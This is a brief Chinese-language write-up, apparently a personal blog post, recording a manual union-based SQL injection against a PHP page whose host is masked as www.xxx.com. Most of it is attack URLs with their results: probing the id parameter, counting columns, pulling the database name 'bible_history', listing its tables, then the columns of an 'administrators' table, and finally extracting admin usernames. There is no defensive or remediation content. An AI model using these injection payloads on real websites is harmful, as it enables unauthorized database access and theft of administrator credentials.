记一次手动SQL注入

1、检测到可能存在注入漏洞的url 最常用的 ‘ ,and 1=1 ,and 1=2

http://www.xxx.com/subcat.php?id=1

2、判断字段个数

http://www.xxx.com/subcat.php?id=1 order by 1

发现只有一个字段
3、查看数据库名

http://www.xxx.com/subcat.php?id=1 union select database()

数据库名是 bible_history

4、查看表名

http://www.xxx.com/subcat.php?id=1 union select group_concat(table_name) from information_schema.tables where table_schema= bible_history 

有：Emails,administrators,bh_addform,bh_guestbook,bho_board_bans,bho_board_forums,bho_board_posts,bho_board_search,bho_board_topics,bho_board_users,bible_book,books,cat,categories,chapters,chapters1,commentary_jfb,eastons,guestbook,isbe,kingjames,kjv_verse,links,mathew,naves,naves_phrase,naves_verse,ob_book_abbreviation_lookup,outline_chapter

5、查看某个表的字段

http://www.xxx.com/subcat.php?id=1 union select group_concat(column_name) from information_schema.columns where table_name= administrators 

字段有：admin_id,admin_username,admin_password,admin_first_name,admin_last_name

6、查看字段的值

http://www.xxx.com/subcat.php?id=1 union select admin_username from administrators
